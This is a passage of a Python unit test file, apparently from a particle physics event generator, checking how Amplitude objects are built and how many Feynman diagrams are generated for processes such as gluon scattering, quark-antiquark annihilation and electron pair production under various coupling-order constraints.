mydiaglist = base_objects.DiagramList([base_objects.Diagram(\ {'vertices':myvertexlist})] * 100) myprocess = base_objects.Process() def setUp(self): self.mydict = {'diagrams':self.mydiaglist, 'process':self.myprocess, 'has_mirror_process': False} self.myamplitude = diagram_generation.Amplitude(self.mydict) def test_setget_amplitude_correct(self): "Test correct Amplitude object __init__, get and set" myamplitude2 = diagram_generation.Amplitude() for prop in self.mydict.keys(): myamplitude2.set(prop, self.mydict[prop]) self.assertEqual(self.myamplitude, myamplitude2) for prop in self.myamplitude.keys(): self.assertEqual(self.myamplitude.get(prop), self.mydict[prop]) def test_setget_amplitude_exceptions(self): "Test error raising in Amplitude __init__, get and set" wrong_dict = self.mydict wrong_dict['wrongparam'] = 'wrongvalue' a_number = 0 # Test init self.assertRaises(diagram_generation.Amplitude.PhysicsObjectError, diagram_generation.Amplitude, wrong_dict) self.assertRaises(AssertionError, diagram_generation.Amplitude, a_number) # Test get self.assertRaises(AssertionError, self.myamplitude.get, a_number) self.assertRaises(diagram_generation.Amplitude.PhysicsObjectError, self.myamplitude.get, 'wrongparam') # Test set self.assertRaises(AssertionError, self.myamplitude.set, a_number, 0) self.assertRaises(diagram_generation.Amplitude.PhysicsObjectError, self.myamplitude.set, 'wrongparam', 0) def test_values_for_prop(self): """Test filters for amplitude properties""" test_values = [{'prop':'diagrams', 'right_list':[self.mydiaglist], 'wrong_list':['a', {}]} ] temp_amplitude = self.myamplitude for test in test_values: for x in test['right_list']: self.assert_(temp_amplitude.set(test['prop'], x)) for x in test['wrong_list']: self.assertFalse(temp_amplitude.set(test['prop'], x)) def test_representation(self): """Test amplitude object string representation.""" goal = "{\n" goal = goal + " \'process\': %s,\n" % repr(self.myprocess) goal = goal + " \'diagrams\': %s,\n" % repr(self.mydiaglist) goal = goal + " \'has_mirror_process\': False\n}" self.assertEqual(goal, str(self.myamplitude)) #=============================================================================== # DiagramGenerationTest #=============================================================================== class DiagramGenerationTest(unittest.TestCase): """Test class for all functions related to the diagram generation""" mypartlist = base_objects.ParticleList() myinterlist = base_objects.InteractionList() mymodel = base_objects.Model() myprocess = base_objects.Process() ref_dict_to0 = {} ref_dict_to1 = {} myamplitude = diagram_generation.Amplitude() def setUp(self): # A gluon self.mypartlist.append(base_objects.Particle({'name':'g', 'antiname':'g', 'spin':3, 'color':8, 'mass':'zero', 'width':'zero', 'texname':'g', 'antitexname':'g', 'line':'curly', 'charge':0., 'pdg_code':21, 'propagating':True, 'is_part':True, 'self_antipart':True})) # A quark U and its antiparticle self.mypartlist.append(base_objects.Particle({'name':'u', 'antiname':'u~', 'spin':2, 'color':3, 'mass':'zero', 'width':'zero', 'texname':'u', 'antitexname':'\bar u', 'line':'straight', 'charge':2. / 3., 'pdg_code':2, 'propagating':True, 'is_part':True, 'self_antipart':False})) antiu = copy.copy(self.mypartlist[1]) antiu.set('is_part', False) # A quark D and its antiparticle self.mypartlist.append(base_objects.Particle({'name':'d', 'antiname':'d~', 'spin':2, 'color':3, 'mass':'zero', 'width':'zero', 'texname':'d', 'antitexname':'\bar d', 'line':'straight', 'charge':-1. / 3., 'pdg_code':1, 'propagating':True, 'is_part':True, 'self_antipart':False})) antid = copy.copy(self.mypartlist[2]) antid.set('is_part', False) # A photon self.mypartlist.append(base_objects.Particle({'name':'a', 'antiname':'a', 'spin':3, 'color':1, 'mass':'zero', 'width':'zero', 'texname':'\gamma', 'antitexname':'\gamma', 'line':'wavy', 'charge':0., 'pdg_code':22, 'propagating':True, 'is_part':True, 'self_antipart':True})) # A electron and positron self.mypartlist.append(base_objects.Particle({'name':'e+', 'antiname':'e-', 'spin':2, 'color':1, 'mass':'zero', 'width':'zero', 'texname':'e^+', 'antitexname':'e^-', 'line':'straight', 'charge':-1., 'pdg_code':11, 'propagating':True, 'is_part':True, 'self_antipart':False})) antie = copy.copy(self.mypartlist[4]) antie.set('is_part', False) # 3 gluon vertex self.myinterlist.append(base_objects.Interaction({ 'id': 1, 'particles': base_objects.ParticleList(\ [self.mypartlist[0]] * 3), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'G'}, 'orders':{'QCD':1}})) # 4 gluon vertex self.myinterlist.append(base_objects.Interaction({ 'id': 2, 'particles': base_objects.ParticleList(\ [self.mypartlist[0]] * 4), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'G^2'}, 'orders':{'QCD':2}})) # Gluon and photon couplings to quarks self.myinterlist.append(base_objects.Interaction({ 'id': 3, 'particles': base_objects.ParticleList(\ [self.mypartlist[1], \ antiu, \ self.mypartlist[0]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQQ'}, 'orders':{'QCD':1}})) self.myinterlist.append(base_objects.Interaction({ 'id': 4, 'particles': base_objects.ParticleList(\ [self.mypartlist[1], \ antiu, \ self.mypartlist[3]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) self.myinterlist.append(base_objects.Interaction({ 'id': 5, 'particles': base_objects.ParticleList(\ [self.mypartlist[2], \ antid, \ self.mypartlist[0]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQQ'}, 'orders':{'QCD':1}})) self.myinterlist.append(base_objects.Interaction({ 'id': 6, 'particles': base_objects.ParticleList(\ [self.mypartlist[2], \ antid, \ self.mypartlist[3]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) # Coupling of e to gamma self.myinterlist.append(base_objects.Interaction({ 'id': 7, 'particles': base_objects.ParticleList(\ [self.mypartlist[4], \ antie, \ self.mypartlist[3]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) self.mymodel.set('particles', self.mypartlist) self.mymodel.set('interactions', self.myinterlist) self.ref_dict_to0 = self.myinterlist.generate_ref_dict()[0] self.ref_dict_to1 = self.myinterlist.generate_ref_dict()[1] def test_combine_legs_gluons(self): """Test combine_legs and merge_comb_legs: gg>gg""" # Four gluon legs with two initial state myleglist = base_objects.LegList([base_objects.Leg({'id':21, 'number':num, 'state':True}) \ for num in range(1, 5)]) myleglist[0].set('state', False) myleglist[1].set('state', False) l1 = myleglist[0] l2 = myleglist[1] l3 = myleglist[2] l4 = myleglist[3] # All possibilities for the first combination goal_combined_legs = [ [(l1, l2), l3, l4], [(l1, l2), (l3, l4)], [(l1, l3), l2, l4], [(l1, l3), (l2, l4)], [(l1, l4), l2, l3], [(l1, l4), (l2, l3)], [l1, (l2, l3), l4], [l1, (l2, l4), l3], [l1, l2, (l3, l4)], [(l1, l2, l3), l4], [(l1, l2, l4), l3], [(l1, l3, l4), l2], [l1, (l2, l3, l4)] ] combined_legs = self.myamplitude.combine_legs( [leg for leg in myleglist], self.ref_dict_to1, 3) self.assertEqual(combined_legs, goal_combined_legs) # Now test the reduction of legs for this reduced_list = self.myamplitude.merge_comb_legs(combined_legs, self.ref_dict_to1) # Remaining legs should be from_group False l1.set('from_group', False) l2.set('from_group', False) l3.set('from_group', False) l4.set('from_group', False) # Define all possible legs obtained after merging combinations l12 = base_objects.Leg({'id':21, 'number':1, 'state':True}) l13 = base_objects.Leg({'id':21, 'number':1, 'state':False}) l14 = base_objects.Leg({'id':21, 'number':1, 'state':False}) l23 = base_objects.Leg({'id':21, 'number':2, 'state':False}) l24 = base_objects.Leg({'id':21, 'number':2, 'state':False}) l34 = base_objects.Leg({'id':21, 'number':3, 'state':True}) l123 = base_objects.Leg({'id':21, 'number':1, 'state':True}) l124 = base_objects.Leg({'id':21, 'number':1, 'state':True}) l134 = base_objects.Leg({'id':21, 'number':1, 'state':False}) l234 = base_objects.Leg({'id':21, 'number':2, 'state':False}) # Associated vertices vx12 = base_objects.Vertex({'legs':base_objects.LegList([l1, l2, l12]), 'id': 1}) vx13 = base_objects.Vertex({'legs':base_objects.LegList([l1, l3, l13]), 'id': 1}) vx14 = base_objects.Vertex({'legs':base_objects.LegList([l1, l4, l14]), 'id': 1}) vx23 = base_objects.Vertex({'legs':base_objects.LegList([l2, l3, l23]), 'id': 1}) vx24 = base_objects.Vertex({'legs':base_objects.LegList([l2, l4, l24]), 'id': 1}) vx34 = base_objects.Vertex({'legs':base_objects.LegList([l3, l4, l34]), 'id': 1}) vx123 = base_objects.Vertex( {'legs':base_objects.LegList([l1, l2, l3, l123]), 'id': 2}) vx124 = base_objects.Vertex( {'legs':base_objects.LegList([l1, l2, l4, l124]), 'id': 2}) vx134 = base_objects.Vertex( {'legs':base_objects.LegList([l1, l3, l4, l134]), 'id': 2}) vx234 = base_objects.Vertex( {'legs':base_objects.LegList([l2, l3, l4, l234]), 'id': 2}) # The final object which should be produced by merge_comb_legs goal_reduced_list = [\ (base_objects.LegList([l12, l3, l4]), \ base_objects.VertexList([vx12])), \ (base_objects.LegList([l12, l34]), \ base_objects.VertexList([vx12, \ vx34])), \ (base_objects.LegList([l13, l2, l4]), \ base_objects.VertexList([vx13])), \ (base_objects.LegList([l13, l24]), \ base_objects.VertexList([vx13, \ vx24])), \ (base_objects.LegList([l14, l2, l3]), \ base_objects.VertexList([vx14])), \ (base_objects.LegList([l14, l23]), \ base_objects.VertexList([vx14, \ vx23])), \ (base_objects.LegList([l1, l23, l4]), \ base_objects.VertexList([vx23])), \ (base_objects.LegList([l1, l24, l3]), \ base_objects.VertexList([vx24])), \ (base_objects.LegList([l1, l2, l34]), \ base_objects.VertexList([vx34])), \ (base_objects.LegList([l123, l4]), \ base_objects.VertexList([vx123])), \ (base_objects.LegList([l124, l3]), \ base_objects.VertexList([vx124])), \ (base_objects.LegList([l134, l2]), \ base_objects.VertexList([vx134])), \ (base_objects.LegList([l1, l234]), \ base_objects.VertexList([vx234])), \ ] self.assertEqual(reduced_list, goal_reduced_list) def test_combine_legs_uux_ddx(self): """Test combine_legs and merge_comb_legs: uu~>dd~""" myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':-2, 'number':1, 'state':False})) myleglist.append(base_objects.Leg({'id':2, 'number':2, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'number':3, 'state':True})) myleglist.append(base_objects.Leg({'id':-1, 'number':4, 'state':True})) l1 = myleglist[0] l2 = myleglist[1] l3 = myleglist[2] l4 = myleglist[3] my_combined_legs = [\ [(l1, l2), l3, l4], [(l1, l2), (l3, l4)], \ [l1, l2, (l3, l4)] \ ] combined_legs = self.myamplitude.combine_legs( [leg for leg in myleglist], self.ref_dict_to1, 3) self.assertEqual(combined_legs, my_combined_legs) reduced_list = self.myamplitude.merge_comb_legs(combined_legs, self.ref_dict_to1) l1.set('from_group', False) l2.set('from_group', False) l3.set('from_group', False) l4.set('from_group', False) l12glue = base_objects.Leg({'id':21, 'number':1, 'state':True}) l12phot = base_objects.Leg({'id':22, 'number':1, 'state':True}) l34glue = base_objects.Leg({'id':21, 'number':3, 'state':True}) l34phot = base_objects.Leg({'id':22, 'number':3, 'state':True}) vx12glue = base_objects.Vertex( {'legs':base_objects.LegList([l1, l2, l12glue]), 'id':3}) vx12phot = base_objects.Vertex( {'legs':base_objects.LegList([l1, l2, l12phot]), 'id':4}) vx34glue = base_objects.Vertex( {'legs':base_objects.LegList([l3, l4, l34glue]), 'id':5}) vx34phot = base_objects.Vertex( {'legs':base_objects.LegList([l3, l4, l34phot]), 'id':6}) my_reduced_list = [\ (base_objects.LegList([l12glue, l3, l4]), base_objects.VertexList([vx12glue])), (base_objects.LegList([l12phot, l3, l4]), base_objects.VertexList([vx12phot])), (base_objects.LegList([l12glue, l34glue]), base_objects.VertexList([vx12glue, vx34glue])), (base_objects.LegList([l12glue, l34phot]), base_objects.VertexList([vx12glue, vx34phot])), (base_objects.LegList([l12phot, l34glue]), base_objects.VertexList([vx12phot, vx34glue])), (base_objects.LegList([l12phot, l34phot]), base_objects.VertexList([vx12phot, vx34phot])), (base_objects.LegList([l1, l2, l34glue]), base_objects.VertexList([vx34glue])), (base_objects.LegList([l1, l2, l34phot]), base_objects.VertexList([vx34phot])), ] self.assertEqual(reduced_list, my_reduced_list) def test_combine_legs_uux_uuxuux(self): """Test combine_legs: uu~>uu~uu~""" myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':-2, 'number':1, 'state':False})) myleglist.append(base_objects.Leg({'id':2, 'number':2, 'state':False})) myleglist.append(base_objects.Leg({'id':2, 'number':3, 'state':True})) myleglist.append(base_objects.Leg({'id':-2, 'number':4, 'state':True})) myleglist.append(base_objects.Leg({'id':2, 'number':5, 'state':True})) myleglist.append(base_objects.Leg({'id':-2, 'number':6, 'state':True})) l1 = myleglist[0] l2 = myleglist[1] l3 = myleglist[2] l4 = myleglist[3] l5 = myleglist[4] l6 = myleglist[5] my_combined_legs = [\ [(l1, l2), l3, l4, l5, l6], [(l1, l2), (l3, l4), l5, l6], [(l1, l2), (l3, l4), (l5, l6)], [(l1, l2), (l3, l6), l4, l5], [(l1, l2), (l3, l6), (l4, l5)], [(l1, l2), l3, (l4, l5), l6], [(l1, l2), l3, l4, (l5, l6)], [(l1, l3), l2, l4, l5, l6], [(l1, l3), (l2, l4), l5, l6], [(l1, l3), (l2, l4), (l5, l6)], [(l1, l3), (l2, l6), l4, l5], [(l1, l3), (l2, l6), (l4, l5)], [(l1, l3), l2, (l4, l5), l6], [(l1, l3), l2, l4, (l5, l6)], [(l1, l5), l2, l3, l4, l6], [(l1, l5), (l2, l4), l3, l6], [(l1, l5), (l2, l4), (l3, l6)], [(l1, l5), (l2, l6), l3, l4], [(l1, l5), (l2, l6), (l3, l4)], [(l1, l5), l2, (l3, l4), l6], [(l1, l5), l2, (l3, l6), l4], [l1, (l2, l4), l3, l5, l6], [l1, (l2, l4), (l3, l6), l5], [l1, (l2, l4), l3, (l5, l6)], [l1, (l2, l6), l3, l4, l5], [l1, (l2, l6), (l3, l4), l5], [l1, (l2, l6), l3, (l4, l5)], [l1, l2, (l3, l4), l5, l6], [l1, l2, (l3, l4), (l5, l6)], [l1, l2, (l3, l6), l4, l5], [l1, l2, (l3, l6), (l4, l5)], [l1, l2, l3, (l4, l5), l6], [l1, l2, l3, l4, (l5, l6)] ] combined_legs = self.myamplitude.combine_legs( [leg for leg in myleglist], self.ref_dict_to1, 3) self.assertEqual(combined_legs, my_combined_legs) def test_diagram_generation_gluons(self): """Test the number of diagram generated for gg>ng with n up to 4""" goal_ndiags = [1, 4, 25, 220, 2485, 34300] # Test 1,2,3 and 4 gluons in the final state for ngluon in range (1, 4): # Create the amplitude myleglist = base_objects.LegList([base_objects.Leg({'id':21, 'state':False})] * 2) myleglist.extend([base_objects.Leg({'id':21, 'state':True})] * ngluon) myproc = base_objects.Process({'legs':myleglist, 'orders':{'QCD':ngluon}, 'model':self.mymodel}) self.myamplitude.set('process', myproc) # Call generate_diagram and output number of diagrams self.myamplitude.generate_diagrams() ndiags = len(self.myamplitude.get('diagrams')) logging.debug("Number of diagrams for %d gluons: %d" % (ngluon, ndiags)) self.assertEqual(ndiags, goal_ndiags[ngluon - 1]) def test_diagram_generation_uux_gg(self): """Test the number of diagram generated for uu~>gg (s, t and u channels) """ myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':-1, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':21, 'state':True})) myleglist.append(base_objects.Leg({'id':21, 'state':True})) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), 3) def test_diagram_generation_uux_uuxng(self): """Test the number of diagram generated for uu~>uu~+ng with n up to 2 """ goal_ndiags = [4, 18, 120, 1074, 12120] for ngluons in range(0, 3): myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':-1, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':-1, 'state':True})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) myleglist.extend([base_objects.Leg({'id':21, 'state':True})] * ngluons) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_ndiags[ngluons]) def test_diagram_generation_uux_ddxng(self): """Test the number of diagram generated for uu~>dd~+ng with n up to 2 """ goal_ndiags = [2, 9, 60, 537, 6060] for ngluons in range(0, 3): myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':-1, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':-2, 'state':True})) myleglist.append(base_objects.Leg({'id':2, 'state':True})) myleglist.extend([base_objects.Leg({'id':21, 'state':True})] * ngluons) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_ndiags[ngluons]) def test_diagram_generation_diagrams_ddx_uuxg(self): """Test the vertex list output for dd~>uu~g (so far only 2 diagrams, due to lack of time) """ myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':1, 'state':False, 'number': 1})) myleglist.append(base_objects.Leg({'id':-1, 'state':False, 'number': 2})) myleglist.append(base_objects.Leg({'id':-2, 'state':True, 'number': 3})) myleglist.append(base_objects.Leg({'id':2, 'state':True, 'number': 4})) myleglist.append(base_objects.Leg({'id':21, 'state':True, 'number': 5})) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() mydiagrams = self.myamplitude.get('diagrams') for leg in myleglist: leg.set('from_group', True) l1 = myleglist[0] l2 = myleglist[1] l3 = myleglist[2] l4 = myleglist[3] l5 = myleglist[4] l1.set('id', self.mymodel.get('particle_dict')[l1.get('id')].get_anti_pdg_code()) l2.set('id', self.mymodel.get('particle_dict')[l2.get('id')].get_anti_pdg_code()) l12glue = base_objects.Leg({'id':21, 'number':1, 'state':True}) l34glue = base_objects.Leg({'id':21, 'number':3, 'state':True}) l35 = base_objects.Leg({'id':-2, 'number':3, 'state':True}) vx12glue = base_objects.Vertex( {'legs':base_objects.LegList([l1, l2, l12glue]), 'id':5}) vx34glue = base_objects.Vertex( {'legs':base_objects.LegList([l3, l4, l34glue]), 'id':3}) vx12glue34glue5 = base_objects.Vertex( {'legs':base_objects.LegList([l12glue, l34glue, l5]), 'id':1}) vx35 = base_objects.Vertex( {'legs':base_objects.LegList([l3, l5, l35]), 'id':3}) vx12glue354 = base_objects.Vertex( {'legs':base_objects.LegList([l12glue, l35, l4]), 'id':3}) goaldiagrams = base_objects.DiagramList([\ base_objects.Diagram({'vertices': base_objects.VertexList(\ [vx12glue, vx34glue, vx12glue34glue5]), 'orders':{'QED':0, 'QCD':3, 'WEIGHTED':3}}), base_objects.Diagram({'vertices': base_objects.VertexList(\ [vx12glue, vx35, vx12glue354]), 'orders':{'QED':0, 'QCD':3, 'WEIGHTED':3}})\ ]) for diagram in mydiagrams: for vertex in diagram.get('vertices'): for leg in vertex.get('legs'): leg.set('from_group', True) self.assertEqual(goaldiagrams[0:2], mydiagrams[0:2]) def test_diagram_generation_nodiag(self): """Test charge violating processes give 0 diagram """ for nquarks in range(1, 5): myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':-1, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':-2, 'state':True})) myleglist.append(base_objects.Leg({'id':2, 'state':True})) myleglist.extend([base_objects.Leg({'id':1, 'state':True})] * nquarks) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel}) self.myamplitude.set('process', myproc) self.assertRaises(InvalidCmd, self.myamplitude.generate_diagrams) self.assertEqual(len(self.myamplitude.get('diagrams')), 0) def test_diagram_generation_photons(self): """Test the number of diagram generated for uu~>na with n up to 6""" # Test up to 5 photons in the final state for nphot in range (1, 5): # Create the amplitude myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':-1, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.extend([base_objects.Leg({'id':22, 'state':True})] * nphot) myproc = base_objects.Process({'legs':myleglist, 'orders':{'QED':nphot}, 'model':self.mymodel}) self.myamplitude.set('process', myproc) # Call generate_diagram and output number of diagrams self.myamplitude.generate_diagrams() ndiags = len(self.myamplitude.get('diagrams')) logging.debug("Number of diagrams for %d photons: %d" % (nphot, ndiags)) self.assertEqual(ndiags, math.factorial(nphot)) def test_diagram_generation_electrons(self): """Test the number of diagram generated for e+e->n(e+e-) with n up to 3 """ goal_ndiags = [2, 36, 1728] for npairs in range (1, 3): # Create the amplitude myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':-11, 'state':False})) myleglist.append(base_objects.Leg({'id':11, 'state':False})) myleglist.extend([base_objects.Leg({'id':11, 'state':True}), base_objects.Leg({'id':-11, 'state':True})] * npairs) myproc = base_objects.Process({'legs':myleglist, 'orders':{'QED':npairs * 2}, 'model':self.mymodel}) self.myamplitude.set('process', myproc) # Call generate_diagram and output number of diagrams self.myamplitude.generate_diagrams() ndiags = len(self.myamplitude.get('diagrams')) logging.debug("Number of diagrams for %d electron pairs: %d" % \ (npairs, ndiags)) self.assertEqual(ndiags, goal_ndiags[npairs - 1]) def test_expand_list(self): """Test the expand_list function""" mylist = [[1, 2], 3, [4, 5]] goal_list = [[1, 3, 4], [1, 3, 5], [2, 3, 4], [2, 3, 5]] self.assertEqual(diagram_generation.expand_list(mylist), goal_list) # Also test behavior with singlets like [1] mylist = [1, [2]] goal_list = [[1, 2]] self.assertEqual(diagram_generation.expand_list(mylist), goal_list) mylist = [[1]] self.assertEqual(diagram_generation.expand_list(mylist), mylist) mylist = [[1, 2], [3]] goal_list = [[1, 3], [2, 3]] self.assertEqual(diagram_generation.expand_list(mylist), goal_list) def test_expand_list_list(self): """Test the expand_list_list function""" mylist = [ [1, 2], [[3, 4], [5, 6]] ] goal_list = [[1, 2, 3, 4], [1, 2, 5, 6]] self.assertEqual(diagram_generation.expand_list_list(mylist), goal_list) mylist = [ [[1, 2], [3, 4]], [5] ] goal_list = [[1, 2, 5], [3, 4, 5]] self.assertEqual(diagram_generation.expand_list_list(mylist), goal_list) mylist = [ [[1, 2], [3, 4]], [[6, 7], [8, 9]] ] goal_list = [[1, 2, 6, 7], [1, 2, 8, 9], [3, 4, 6, 7], [3, 4, 8, 9]] self.assertEqual(diagram_generation.expand_list_list(mylist), goal_list) mylist = [ [[1, 2], [3, 4]], [5], [[6, 7], [8, 9]] ] goal_list = [[1, 2, 5, 6, 7], [1, 2, 5, 8, 9], [3, 4, 5, 6, 7], [3, 4, 5, 8, 9]] self.assertEqual(diagram_generation.expand_list_list(mylist), goal_list) def test_diagram_generation_ue_dve(self): """Test the number of diagram generated for ue->dve (t channel) """ mypartlist = base_objects.ParticleList(); myinterlist = base_objects.InteractionList(); # A quark U and its antiparticle mypartlist.append(base_objects.Particle({'name':'u', 'antiname':'u~', 'spin':2, 'color':3, 'mass':'zero', 'width':'zero', 'texname':'u', 'antitexname':'\bar u', 'line':'straight', 'charge':2. / 3., 'pdg_code':2, 'propagating':True, 'is_part':True, 'self_antipart':False})) u = mypartlist[len(mypartlist) - 1] antiu = copy.copy(u) antiu.set('is_part', False) # A quark D and its antiparticle mypartlist.append(base_objects.Particle({'name':'d', 'antiname':'d~', 'spin':2, 'color':3, 'mass':'zero', 'width':'zero', 'texname':'d', 'antitexname':'\bar d', 'line':'straight', 'charge':-1. / 3., 'pdg_code':1, 'propagating':True, 'is_part':True, 'self_antipart':False})) d = mypartlist[len(mypartlist) - 1] antid = copy.copy(d) antid.set('is_part', False) # A electron and positron mypartlist.append(base_objects.Particle({'name':'e+', 'antiname':'e-', 'spin':2, 'color':1, 'mass':'zero', 'width':'zero', 'texname':'e^+', 'antitexname':'e^-', 'line':'straight', 'charge':-1., 'pdg_code':11, 'propagating':True, 'is_part':True, 'self_antipart':False})) eminus = mypartlist[len(mypartlist) - 1] eplus = copy.copy(eminus) eplus.set('is_part', False) # nu_e mypartlist.append(base_objects.Particle({'name':'ve', 'antiname':'ve~', 'spin':2, 'color':0, 'mass':'zero', 'width':'zero', 'texname':'\nu_e', 'antitexname':'\bar\nu_e', 'line':'straight', 'charge':0., 'pdg_code':12, 'propagating':True, 'is_part':True, 'self_antipart':False})) nue = mypartlist[len(mypartlist) - 1] nuebar = copy.copy(nue) nuebar.set('is_part', False) # W mypartlist.append(base_objects.Particle({'name':'w+', 'antiname':'w-', 'spin':3, 'color':0, 'mass':'WMASS', 'width':'WWIDTH', 'texname':'W^+', 'antitexname':'W^-', 'line':'wavy', 'charge':1., 'pdg_code':24, 'propagating':True, 'is_part':True, 'self_antipart':False})) wplus = mypartlist[len(mypartlist) - 1] wminus = copy.copy(wplus) wminus.set('is_part', False) # Coupling of u and d to W myinterlist.append(base_objects.Interaction({ 'id': 8, 'particles': base_objects.ParticleList(\ [antid, \ u, \ wminus]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) # Coupling of d and u to W myinterlist.append(base_objects.Interaction({ 'id': 9, 'particles': base_objects.ParticleList(\ [antiu, \ d, \ wplus]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) # Coupling of e- and nu_e to W myinterlist.append(base_objects.Interaction({ 'id': 10, 'particles': base_objects.ParticleList(\ [nuebar, \ eminus, \ wplus]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) # Coupling of nu_e and e+ to W myinterlist.append(base_objects.Interaction({ 'id': 11, 'particles': base_objects.ParticleList(\ [eplus, \ nue, \ wminus]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) mymodel = base_objects.Model() mymodel.set('particles', mypartlist) mymodel.set('interactions', myinterlist) myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':2, 'state':False})) myleglist.append(base_objects.Leg({'id':11, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) myleglist.append(base_objects.Leg({'id':12, 'state':True})) myproc = base_objects.Process({'legs':myleglist, 'model':mymodel}) myamplitude = diagram_generation.Amplitude() myamplitude.set('process', myproc) self.assertEqual(len(myamplitude.get('diagrams')), 1) def test_coupling_orders_uux_ddxng(self): """Test the number of diagrams uu~>dd~+ng with different QCD and QED coupling orders """ goal_ndiags20 = [1, 0, 0] goal_ndiags02 = [1, 0, 0] goal_ndiags21 = [1, 4, 0] goal_ndiags22 = [2, 4, 24] goal_ndiags04 = [1, 5, 36] for ngluons in range(0, 3): myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':-1, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':-2, 'state':True})) myleglist.append(base_objects.Leg({'id':2, 'state':True})) myleglist.extend([base_objects.Leg({'id':21, 'state':True})] * ngluons) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'orders': {'QED':2, 'QCD':0}}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_ndiags20[ngluons]) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'orders': {'QED':0, 'QCD':2}}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_ndiags02[ngluons]) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'orders': {'QED':2, 'QCD':1}}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_ndiags21[ngluons]) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'orders': {'QED':2, 'QCD':2}}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_ndiags22[ngluons]) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'orders': {'QED':0, 'QCD':4}}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')), goal_ndiags04[ngluons]) def test_squared_orders_constraints_uux_ddxuux(self): """ Tests that the various possible squared order constraints are correctly treated at LO.""" myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':2,'state':False})) myleglist.append(base_objects.Leg({'id':-2,'state':False})) myleglist.append(base_objects.Leg({'id':1,'state':True})) myleglist.append(base_objects.Leg({'id':-1,'state':True})) myleglist.append(base_objects.Leg({'id':2,'state':True})) myleglist.append(base_objects.Leg({'id':-2,'state':True})) SO_tests = [({},{},{},50), ({},{'QED':-1},{'QED':'=='},14), ({},{'QED':-2},{'QED':'=='},38), ({},{'QED':-3},{'QED':'=='},50), ({},{'QED':-4},{'QED':'=='},36), ({},{'QED':-5},{'QED':'=='},12), ({},{'QED':-6},{'QED':'=='},0), ({},{'QCD':4},{'QCD':'>'},38), ({},{'QCD':2},{'QCD':'<='},36), ({},{'QED':2,'QCD':4},{'QED':'==','QCD':'>'},38), ({'QCD':2},{'QED':4,'QCD':4},{'QED':'<=','QCD':'<='},24)] for orders, sq_orders, sq_orders_type, ndiagGoal in SO_tests: myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel, 'orders': orders, 'squared_orders': sq_orders, 'sqorders_types':sq_orders_type}) self.myamplitude.set('process', myproc) self.myamplitude.generate_diagrams() self.assertEqual(len(self.myamplitude.get('diagrams')),ndiagGoal) def test_forbidden_particles_uux_uuxng(self): """Test the number of diagrams uu~>uu~+g with different forbidden particles. """ goal_no_photon = [2, 